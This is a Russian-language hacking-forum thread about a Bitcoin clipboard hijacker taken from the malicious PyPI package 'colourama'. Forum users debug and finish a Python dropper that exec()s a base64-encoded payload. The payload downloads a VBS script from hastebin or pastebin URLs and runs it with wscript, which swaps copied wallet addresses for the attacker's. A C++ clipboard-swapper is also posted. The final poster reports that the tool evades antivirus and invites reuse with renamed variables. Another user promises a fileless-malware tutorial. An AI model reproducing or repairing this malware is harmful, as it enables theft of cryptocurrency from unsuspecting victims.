• XSS.stack #1 – первый литературный журнал от юзеров форума

Подмена кошелька BTC

Kirigaya

Hacking the World
Пользователь
Регистрация
24.08.2019
Сообщения
161
Реакции
89
Привет ребята, наткнулся на интерсную прогу суть ее такая, если в clipboard попадается адрес биткоин кошелька или значение подходящее под адрес, то оно автоматически заменяется тем, каким мы пожелаем.
Эта штуковина впервые объявилась в PyPI в пакете "colourama". В начале расскажу, что это и зачем, затем задам вопросы, надеюсь кто-нибудь на них ответит.
И так изначально в установочнике colourama имеем класс:

Python:
class TotallyInnocentClass(install):
    def run(self):
        exec("Большой длинный хэш base64".decode(base64))
    os = platform.system()
    req = urllib2.Request('https://grabify.link/blablabla'), headers = {'User-Agent' : os}
    texto = urllib2.urlopen( req ).read()

Тут примечательно, что grabify используется, чтобы чекать количество подмен ip и os жертвы, как я понял.
Дальше мы видим, что исполняется какой-то длинный хэш.
Расшифровав его получаем следующее:
Python:
os1 = platform.system()
if os1 == "Windows":
        try:
            sakdlsdsas = ''.join(
                random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(5)) + ".vbs"
            os.rename('asdDsadad.jpg', "new.vbs")
            os.system("wscript new.vbs")
        #subprocess.call("wscript new.vbs")
        except:
            try:
                kirito = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9oYXN0ZWJpbi5jb20vcmF3L3RleWl2b3l1ZG8="), headers={'User-Agent': "kitashi_corp"})
                asuna = urllib.request.urlopen(kirito).read()
                koneki = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16)) + ".vbs"
                ruyk = open(koneki, "a")
                ruyk.write(str(asuna))
                ruyk.close()
                os.system("wscript %s " % koneki)
            except:
                try:
                    kirito = urllib.request.Request(
                        base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ=="), headers={'User-Agent': "kitashi_corp"})
                    asuna = urllib.request.urlopen(kirito).read()
                    koneki = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16)) + ".vbs"
                    ruyk = open(koneki, "a")
                    ruyk.write(str(asuna))
                    ruyk.close()
                    os.system("wscript %s " % koneki)
                except:
                    print

И так что же делает данный скрипт, вначале через urllib request он пытается подтянуть содержимое зашифрованное в base64, там ссылка на https://hastebin.com/raw/teyivoyudo. Перейдя по которой мы обнаружим, vbs скрипт, который будет загружен, создан и распакован в определенную папку, в моем случае это %appdata%, сам скрипт я выложу чуть позже, а пока что пойдем дальше. Если ему это не удается, он отправится дальше и попробует подтянуть второй хэш в нем будет ссылка на https://pastebin.pl/view/raw/5d7731f5 внутри которой в base64 ссылка на https://pastebin.com/raw/PRb3YPWQ, которая опять же является не чем иным, как тем самым vbs скриптом.
Vbs скрипт приложу следующим постом, ибо не влазиет.

И так собственно говоря, код был мной переписан немного, так как оригинальный видимо использовал urllib2 которые, в свою очередь использовались python 2.7, я же юзал python3.6 и импортировал urllib.requests.
Внимание вопрос: Что не так с python кодом?
vbs script сам по себе работает как положено, подменяет без проблем, мне же хочется заставить python код подтягивать vbs файл как положено с пэйстбина, однако этого не происходит.
Толи я ошибся в импорте urllib и нужно было делать как в оригинале и юзать python2.7, толи черт его знает. Дайте совет, как заставить это работать? ;)

Оригинальный код прилагаю ниже в виде фотографий, таким каким его отыскал.
1*CKHvJK5MxhKIvfHdqeQkxA.png

1*1OV4fr_Yp9wDzYR4i4xkRg.png


1*PvDkOa4J6hPGA_FL1MeFGg.png
 
Последнее редактирование:
C++:
// https://github.com/dacap/clip
#include "clip.h"
#include <regex>
#include <thread>
#include <chrono>
#include <string>
#include <iostream>

const std::regex re("^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$");
std::string wallet;

int main(int argc, char *argv[])
{
  wallet = "";
  for (;;)
  {
    std::this_thread::sleep_for(std::chrono::milliseconds(100));
    std::string clipboard;
    clip::get_text(clipboard);
    if (clipboard != wallet)
    {
      if (std::regex_match(clipboard, re))
      {
        clip::set_text(wallet);
        std::cout << "changed!" << std::endl;
      }
    }
  }
}
 
C++:
// https://github.com/dacap/clip
#include "clip.h"
#include <regex>
#include <thread>
#include <chrono>
#include <string>
#include <iostream>

const std::regex re("^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$");
std::string wallet;

int main(int argc, char *argv[])
{
  wallet = "";
  for (;;)
  {
    std::this_thread::sleep_for(std::chrono::milliseconds(100));
    std::string clipboard;
    clip::get_text(clipboard);
    if (clipboard != wallet)
    {
      if (std::regex_match(clipboard, re))
      {
        clip::set_text(wallet);
        std::cout << "changed!" << std::endl;
      }
    }
  }
}
Это конечно чудесно, но мне бы хотелось понять, что не так с данным скриптом, в целях самообразования.
 
Я вас недопонял, я имел ввиду, что не так с python скриптом, в чем причина того, что он не отрабатывает.
А как мы можем догадаться что с ним не так, если ты не показал что с ним не так?
Python:
kirito = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9oYXN0ZWJpbi5jb20vcmF3L3RleWl2b3l1ZG8=").decode("utf-8"), headers={'User-Agent': "kitashi_corp"})
 
А как мы можем догадаться что с ним не так, если ты не показал что с ним не так?
Python:
kirito = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9oYXN0ZWJpbi5jb20vcmF3L3RleWl2b3l1ZG8=").decode("utf-8"), headers={'User-Agent': "kitashi_corp"})
Дак я сам ищу, что с ним не так)))) Он должен работать, но не работает, по какойто причине. Сейчас попробую, decode utf-8 поставить.. Увы не не сработало. Однако поправил код во втором хэше там где base64 внутри base64 для расшифровки потребуется сделать:
kirito = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("base64"), headers={'User-Agent': "kitashi_corp"})
Так как этот реквест возвращает строку зашифрованную в base64... если я правильно понял.
 
Последнее редактирование:
Дак я сам ищу, что с ним не так)))) Он должен работать, но не работает, по какойто причине. Сейчас попробую, decode utf-8 поставить.. Увы не не сработало. Однако поправил код во втором хэше там где base64 внутри base64 для расшифровки потребуется сделать:
kirito = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("base64"), headers={'User-Agent': "kitashi_corp"})
Так как этот реквест возвращает строку зашифрованную в base64... если я правильно понял.
What?
Python:
In [1]: import base64                                                                                                               

In [2]: base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==")                                                   
Out[2]: b'https://pastebin.pl/view/raw/5d7731f5'

In [3]: base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("base64")                                   
---------------------------------------------------------------------------
LookupError                               Traceback (most recent call last)
<ipython-input-3-fa255f85c67e> in <module>
----> 1 base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("base64")

LookupError: 'base64' is not a text encoding; use codecs.decode() to handle arbitrary codecs
Ошибка в этом скрипте заключается в том, что функция base64.b64decode() возвращает bytes, а urllib.request.Request ждёт что
url should be a string containing a valid URL.
https://docs.python.org/3/library/urllib.request.html#urllib.request.Request
 
What?
Python:
In [1]: import base64                                                                                                            

In [2]: base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==")                                                
Out[2]: b'https://pastebin.pl/view/raw/5d7731f5'

In [3]: base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("base64")                                
---------------------------------------------------------------------------
LookupError                               Traceback (most recent call last)
<ipython-input-3-fa255f85c67e> in <module>
----> 1 base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("base64")

LookupError: 'base64' is not a text encoding; use codecs.decode() to handle arbitrary codecs
Ошибка в этом скрипте заключается в том, что функция base64.b64decode() возвращает bytes, а urllib.request.Request ждёт что https://docs.python.org/3/library/urllib.request.html#urllib.request.Request
Спасибо! Да я просто, попробовал вставить decode("utf-8"), в папке с файлом создался файл с расширением .vbs. А внутри содержался хэш base64, поэтому я предположил, что функция вернула строку в формате base64. Как бы то нибыло, спасибо за помощь, сейчас похимичу.
DeepinScreenshot_select-area_20200607163035.png
DeepinScreenshot_select-area_20200607193626.png
 
Последнее редактирование:
Спасибо! Да я просто, попробовал вставить decode("utf-8"), в папке с файлом создался файл с расширением .vbs. А внутри содержался хэш base64, поэтому я предположил, что функция вернула строку в формате base64. Как бы то нибыло, спасибо за помощь, сейчас похимичу. Посмотреть вложение 10733
1591533573600.png
 
Позволь объясню в чем заблуждался, я предположил почему то что :
kirito = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("base64"), headers={'User-Agent': "kitashi_corp"})
позволит мне дважды расшифровать base64, я аппелировал к оригинальному коду, но там видимо была ошибка, потому что следовало использовать:

Python:
import base64
import urllib.request

f = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("utf-8"), headers={'User-Agent': "kitashi_corp"})
asuna = urllib.request.urlopen(f).read()
kirigaya = bytes(base64.b64decode(asuna)).decode('utf-8')
print(kirigaya)

Result:
Python:
C:\Users\JohnDoe\PycharmProjects\clipp\venv\Scripts\python.exe C:/Users/JohnDoe/.PyCharmCE2019.3/config/scratches/scratch.py
https://pastebin.com/raw/PRb3YPWQ

Process finished with exit code 0
Я говорю о дополнительном try, в случае если первый не сработает. В оригинале, хакер использовал raw код на гитхабе внутри которого была зашифрована ссылка на pastebin, но сейчас либо я не догоняю, либо код не полный, но по итогу он бы получил на выходе ссылку на скрипт, а не сам скрипт согласно этому коду:
DeepinScreenshot_select-area_20200607132049.png
 
Последнее редактирование:
Позволь объясню в чем заблуждался, я предположил почему то что :
kirito = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("base64"), headers={'User-Agent': "kitashi_corp"})
позволит мне дважды расшифровать base64, я аппелировал к оригинальному коду, но там видимо была ошибка, потому что следовало использовать:
Python:
import base64, random, string
import urllib.request

f = urllib.request.Request(base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("utf-8"), headers={'User-Agent': "kitashi_corp"})
asuna = urllib.request.urlopen(f).read()
print((str(base64.b64decode(asuna))))

Result:
Python:
C:\Users\JohnDoe\PycharmProjects\clipp\venv\Scripts\python.exe C:/Users/JohnDoe/.PyCharmCE2019.3/config/scratches/scratch.py
b'https://pastebin.com/raw/PRb3YPWQ'

Process finished with exit code 0
Я говорю о дополнительном try, в случае если первый не сработает. В оригинале, хакер использовал raw код на гитхабе внутри которого была зашифрована ссылка на pastebin, но сейчас либо я не догоняю, либо код не полный, но по итогу он бы получил на выходе ссылку на скрипт, а не сам скрипт согласно этому коду:
Посмотреть вложение 10736
Ну правильно, первая ссылка на файл с ссылкой в b64, но он записывал как vbs и пытался его исполнить. А второй try на случай если первая ссылка будет недоступна. К тому же, нет проверки на содержание что там по первой ссылке. То есть хост может отдать 404, а он будет пытаться выполнить html.

Вообще не знаю зачем ты в этом ковыряешься. Кривая поделка, бесполезное занятие.
 
И так господа, допилил клиппер. На данный момент работает нормально, не палится ав особо. Компилится при помощи py2exe и pyhton3.6. Что делает скрипт:
1. Расшифровывает base64 код.
2. Оттуда цепляется к hastebin, скачивает vbs скрипт и execut'ит его добавляясь в автозагрузку и в папку AppData\Roaming
3. Сам VBS скрипт проверяет клипборд на наличие btc wallet и если обнаруживает его то заменяет на ваш, прописанный в vbs скрипте, pastebin.
Python:
import base64, random, string, os, urllib.request, platform

exec(base64.b64decode('b3MxID0gcGxhdGZvcm0uc3lzdGVtKCkNCmlmIG9zMSA9PSAiV2luZG93cyI6DQogICAgdHJ5Og0KICAgICAgICBzYWtkbHNkc2FzID0gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV91cHBlcmNhc2UgKyBzdHJpbmcuYXNjaWlfbG93ZXJjYXNlICsgc3RyaW5nLmRpZ2l0cykgZm9yIF8gaW4gcmFuZ2UoNSkpICsgIi52YnMiDQogICAgICAgIG9zLnJlbmFtZSgnYXNkRHNhZGFkLmpwZycsICJuZXcudmJzIikNCiAgICAgICAgb3Muc3lzdGVtKCJ3c2NyaXB0IG5ldy52YnMiKQ0KICAgICMgc3VicHJvY2Vzcy5jYWxsKCJ3c2NyaXB0IG5ldy52YnMiKQ0KICAgIGV4Y2VwdDoNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAga2lyaXRvID0gdXJsbGliLnJlcXVlc3QuUmVxdWVzdChiYXNlNjQuYjY0ZGVjb2RlKCJhSFIwY0hNNkx5OW9ZWE4wWldKcGJpNWpiMjB2Y21GM0wzUmxlV2wyYjNsMVpHOD0iKS5kZWNvZGUoInV0Zi04IiksIGhlYWRlcnM9eydVc2VyLUFnZW50JzogImtpdGFzaGlfY29ycCJ9KQ0KICAgICAgICAgICAgYXN1bmEgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKGtpcml0bykucmVhZCgpDQogICAgICAgICAgICBrYW1pbXVyYSA9IGJ5dGVzKGFzdW5hKS5kZWNvZGUoJ2FzY2lpJykNCiAgICAgICAgICAgIG5hbWUgPSAnJy5qb2luKHJhbmRvbS5jaG9pY2Uoc3RyaW5nLmFzY2lpX3VwcGVyY2FzZSArIHN0cmluZy5hc2NpaV9sb3dlcmNhc2UgKyBzdHJpbmcuZGlnaXRzKSBmb3IgaSBpbiByYW5nZSgxNikpDQogICAgICAgICAgICBrYW5la2kgPSBvcGVuKG5hbWUgKyAnLnZicycsIG1vZGU9ImErIikNCiAgICAgICAgICAgIGthbmVraS53cml0ZShrYW1pbXVyYSkNCiAgICAgICAgICAgIGthbmVraS5jbG9zZSgpDQogICAgICAgICAgICBmb3IgZmlsZSBpbiBvcy5saXN0ZGlyKCk6DQogICAgICAgICAgICAgICAgaWYgZmlsZS5lbmRzd2l0aCgiLnZicyIpOg0KICAgICAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oIndzY3JpcHQgIiArIGZpbGUpDQoNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgdHJ5Og0KICAgICAgICAgICAgICAgIGtpcml0byA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoYmFzZTY0LmI2NGRlY29kZSgiYUhSMGNITTZMeTl3WVhOMFpXSnBiaTV3YkM5MmFXVjNMM0poZHk4MVpEYzNNekZtTlE9PSIpLmRlY29kZSgidXRmLTgiKSwgaGVhZGVycz17J1VzZXItQWdlbnQnOiAia2l0YXNoaV9jb3JwIn0pDQogICAgICAgICAgICAgICAgYXN1bmEgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKGtpcml0bykucmVhZCgpDQogICAgICAgICAgICAgICAga2FtaW11cmEgPSBieXRlcyhiYXNlNjQuYjY0ZGVjb2RlKGFzdW5hKSkuZGVjb2RlKCd1dGYtOCcpDQogICAgICAgICAgICAgICAgbGl6YmV0aCA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3Qoa2FtaW11cmEsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogImtpdGFzaGlfY29ycCJ9KQ0KICAgICAgICAgICAgICAgIGFzdW5hID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbihsaXpiZXRoKS5yZWFkKCkNCiAgICAgICAgICAgICAgICB0b2t5byA9IGJ5dGVzKGFzdW5hKS5kZWNvZGUoJ2FzY2lpJykNCiAgICAgICAgICAgICAgICBuYW1lID0gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV91cHBlcmNhc2UgKyBzdHJpbmcuYXNjaWlfbG93ZXJjYXNlICsgc3RyaW5nLmRpZ2l0cykgZm9yIGkgaW4gcmFuZ2UoMTYpKQ0KICAgICAgICAgICAgICAgIGthbmVraSA9IG9wZW4obmFtZSArICcudmJzJywgbW9kZT0iYSsiKQ0KICAgICAgICAgICAgICAgIGthbmVraS53cml0ZSh0b2t5bykNCiAgICAgICAgICAgICAgICBrYW5la2kuY2xvc2UoKQ0KICAgICAgICAgICAgICAgIGZvciBmaWxlIGluIG9zLmxpc3RkaXIoKToNCiAgICAgICAgICAgICAgICAgICAgaWYgZmlsZS5lbmRzd2l0aCgiLnZicyIpOg0KICAgICAgICAgICAgICAgICAgICAgICAgb3Muc3lzdGVtKCJ3c2NyaXB0ICIgKyBmaWxlKQ0KDQogICAgICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICAgICAgcHJpbnQ='))
Python:
os1 = platform.system()
if os1 == "Windows":
    try:
        sakdlsdsas = ''.join(
            random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(5)) + ".vbs"
        os.rename('asdDsadad.jpg', "new.vbs")
        os.system("wscript new.vbs")
    # subprocess.call("wscript new.vbs")
    except:
        try:
            kirito = urllib.request.Request(
                base64.b64decode("aHR0cHM6Ly9oYXN0ZWJpbi5jb20vcmF3L3RleWl2b3l1ZG8=").decode("utf-8"),
                headers={'User-Agent': "kitashi_corp"})
            asuna = urllib.request.urlopen(kirito).read()
            kamimura = bytes(asuna).decode('ascii')
            name = ''.join(
                random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for i in
                range(16))
            kaneki = open(name + '.vbs', mode="a+")
            kaneki.write(kamimura)
            kaneki.close()
            for file in os.listdir():
                if file.endswith(".vbs"):
                    os.system("wscript " + file)

        except:
            try:
                kirito = urllib.request.Request(
                    base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("utf-8"),
                    headers={'User-Agent': "kitashi_corp"})
                asuna = urllib.request.urlopen(kirito).read()
                kamimura = bytes(base64.b64decode(asuna)).decode('utf-8')
                lizbeth = urllib.request.Request(kamimura, headers={'User-Agent': "kitashi_corp"})
                asuna = urllib.request.urlopen(lizbeth).read()
                tokyo = bytes(asuna).decode('ascii')
                name = ''.join(
                    random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for i in
                    range(16))
                kaneki = open(name + '.vbs', mode="a+")
                kaneki.write(tokyo)
                kaneki.close()
                for file in os.listdir():
                    if file.endswith(".vbs"):
                        os.system("wscript " + file)

            except:
                print
Если вдруг решите использовать, поменяйте имена переменных пожалуйста. Good luck.
VBS script:
Черт знает как тут вставить изображение (оно не подгружается через "добавить изображение"), кому интересно как то работает вот вам ссыль на гифку.
 
Последнее редактирование:
И так господа, допилил клиппер. На данный момент работает нормально, не палится ав особо. Компилится при помощи py2exe и pyhton3.6. Что делает скрипт:
1. Расшифровывает base64 код.
2. Оттуда цепляется к hastebin, скачивает vbs скрипт и execut'ит его добавляясь в автозагрузку и в папку AppData\Roaming
3. Сам VBS скрипт проверяет клипборд на наличие btc wallet и если обнаруживает его то заменяет на ваш, прописанный в vbs скрипте, pastebin.
Python:
import base64, random, string, os, urllib.request, platform

exec(base64.b64decode('b3MxID0gcGxhdGZvcm0uc3lzdGVtKCkNCmlmIG9zMSA9PSAiV2luZG93cyI6DQogICAgdHJ5Og0KICAgICAgICBzYWtkbHNkc2FzID0gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV91cHBlcmNhc2UgKyBzdHJpbmcuYXNjaWlfbG93ZXJjYXNlICsgc3RyaW5nLmRpZ2l0cykgZm9yIF8gaW4gcmFuZ2UoNSkpICsgIi52YnMiDQogICAgICAgIG9zLnJlbmFtZSgnYXNkRHNhZGFkLmpwZycsICJuZXcudmJzIikNCiAgICAgICAgb3Muc3lzdGVtKCJ3c2NyaXB0IG5ldy52YnMiKQ0KICAgICMgc3VicHJvY2Vzcy5jYWxsKCJ3c2NyaXB0IG5ldy52YnMiKQ0KICAgIGV4Y2VwdDoNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAga2lyaXRvID0gdXJsbGliLnJlcXVlc3QuUmVxdWVzdChiYXNlNjQuYjY0ZGVjb2RlKCJhSFIwY0hNNkx5OW9ZWE4wWldKcGJpNWpiMjB2Y21GM0wzUmxlV2wyYjNsMVpHOD0iKS5kZWNvZGUoInV0Zi04IiksIGhlYWRlcnM9eydVc2VyLUFnZW50JzogImtpdGFzaGlfY29ycCJ9KQ0KICAgICAgICAgICAgYXN1bmEgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKGtpcml0bykucmVhZCgpDQogICAgICAgICAgICBrYW1pbXVyYSA9IGJ5dGVzKGFzdW5hKS5kZWNvZGUoJ2FzY2lpJykNCiAgICAgICAgICAgIG5hbWUgPSAnJy5qb2luKHJhbmRvbS5jaG9pY2Uoc3RyaW5nLmFzY2lpX3VwcGVyY2FzZSArIHN0cmluZy5hc2NpaV9sb3dlcmNhc2UgKyBzdHJpbmcuZGlnaXRzKSBmb3IgaSBpbiByYW5nZSgxNikpDQogICAgICAgICAgICBrYW5la2kgPSBvcGVuKG5hbWUgKyAnLnZicycsIG1vZGU9ImErIikNCiAgICAgICAgICAgIGthbmVraS53cml0ZShrYW1pbXVyYSkNCiAgICAgICAgICAgIGthbmVraS5jbG9zZSgpDQogICAgICAgICAgICBmb3IgZmlsZSBpbiBvcy5saXN0ZGlyKCk6DQogICAgICAgICAgICAgICAgaWYgZmlsZS5lbmRzd2l0aCgiLnZicyIpOg0KICAgICAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oIndzY3JpcHQgIiArIGZpbGUpDQoNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgdHJ5Og0KICAgICAgICAgICAgICAgIGtpcml0byA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoYmFzZTY0LmI2NGRlY29kZSgiYUhSMGNITTZMeTl3WVhOMFpXSnBiaTV3YkM5MmFXVjNMM0poZHk4MVpEYzNNekZtTlE9PSIpLmRlY29kZSgidXRmLTgiKSwgaGVhZGVycz17J1VzZXItQWdlbnQnOiAia2l0YXNoaV9jb3JwIn0pDQogICAgICAgICAgICAgICAgYXN1bmEgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKGtpcml0bykucmVhZCgpDQogICAgICAgICAgICAgICAga2FtaW11cmEgPSBieXRlcyhiYXNlNjQuYjY0ZGVjb2RlKGFzdW5hKSkuZGVjb2RlKCd1dGYtOCcpDQogICAgICAgICAgICAgICAgbGl6YmV0aCA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3Qoa2FtaW11cmEsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogImtpdGFzaGlfY29ycCJ9KQ0KICAgICAgICAgICAgICAgIGFzdW5hID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbihsaXpiZXRoKS5yZWFkKCkNCiAgICAgICAgICAgICAgICB0b2t5byA9IGJ5dGVzKGFzdW5hKS5kZWNvZGUoJ2FzY2lpJykNCiAgICAgICAgICAgICAgICBuYW1lID0gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV91cHBlcmNhc2UgKyBzdHJpbmcuYXNjaWlfbG93ZXJjYXNlICsgc3RyaW5nLmRpZ2l0cykgZm9yIGkgaW4gcmFuZ2UoMTYpKQ0KICAgICAgICAgICAgICAgIGthbmVraSA9IG9wZW4obmFtZSArICcudmJzJywgbW9kZT0iYSsiKQ0KICAgICAgICAgICAgICAgIGthbmVraS53cml0ZSh0b2t5bykNCiAgICAgICAgICAgICAgICBrYW5la2kuY2xvc2UoKQ0KICAgICAgICAgICAgICAgIGZvciBmaWxlIGluIG9zLmxpc3RkaXIoKToNCiAgICAgICAgICAgICAgICAgICAgaWYgZmlsZS5lbmRzd2l0aCgiLnZicyIpOg0KICAgICAgICAgICAgICAgICAgICAgICAgb3Muc3lzdGVtKCJ3c2NyaXB0ICIgKyBmaWxlKQ0KDQogICAgICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICAgICAgcHJpbnQ='))
Python:
os1 = platform.system()
if os1 == "Windows":
    try:
        sakdlsdsas = ''.join(
            random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(5)) + ".vbs"
        os.rename('asdDsadad.jpg', "new.vbs")
        os.system("wscript new.vbs")
    # subprocess.call("wscript new.vbs")
    except:
        try:
            kirito = urllib.request.Request(
                base64.b64decode("aHR0cHM6Ly9oYXN0ZWJpbi5jb20vcmF3L3RleWl2b3l1ZG8=").decode("utf-8"),
                headers={'User-Agent': "kitashi_corp"})
            asuna = urllib.request.urlopen(kirito).read()
            kamimura = bytes(asuna).decode('ascii')
            name = ''.join(
                random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for i in
                range(16))
            kaneki = open(name + '.vbs', mode="a+")
            kaneki.write(kamimura)
            kaneki.close()
            for file in os.listdir():
                if file.endswith(".vbs"):
                    os.system("wscript " + file)

        except:
            try:
                kirito = urllib.request.Request(
                    base64.b64decode("aHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy81ZDc3MzFmNQ==").decode("utf-8"),
                    headers={'User-Agent': "kitashi_corp"})
                asuna = urllib.request.urlopen(kirito).read()
                kamimura = bytes(base64.b64decode(asuna)).decode('utf-8')
                lizbeth = urllib.request.Request(kamimura, headers={'User-Agent': "kitashi_corp"})
                asuna = urllib.request.urlopen(lizbeth).read()
                tokyo = bytes(asuna).decode('ascii')
                name = ''.join(
                    random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for i in
                    range(16))
                kaneki = open(name + '.vbs', mode="a+")
                kaneki.write(tokyo)
                kaneki.close()
                for file in os.listdir():
                    if file.endswith(".vbs"):
                        os.system("wscript " + file)

            except:
                print
Если вдруг решите использовать, поменяйте имена переменных пожалуйста. Good luck.
VBS script:
Черт знает как тут вставить изображение (оно не подгружается через "добавить изображение"), кому интересно как то работает вот вам ссыль на гифку.
точку с запятой поставь ";" между переносом строки в питоне
import base64, random, string, os, urllib.request, platform;exec(base64.b64decode('b
, я покажу чуть попозже в статье как сделать безфайловую малварь по этому методу. жаль что твой вопрос поздно увидел. с помощью питона вообще можно много всего сделать, так что бы тебе даже "компилировать" не пришлось, ты бы за то что бы это был интерпритатор был бы рад. я обязательно думаю коснуться этого вопроса, очень вкусные вещи получаются
 
точку с запятой поставь ";" между переносом строки в питоне
import base64, random, string, os, urllib.request, platform;exec(base64.b64decode('b
, я покажу чуть попозже в статье как сделать безфайловую малварь по этому методу. жаль что твой вопрос поздно увидел. с помощью питона вообще можно много всего сделать, так что бы тебе даже "компилировать" не пришлось, ты бы за то что бы это был интерпритатор был бы рад. я обязательно думаю коснуться этого вопроса, очень вкусные вещи получаются
Я буду рад почитать, всегда интересно учиться чему-то новому.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх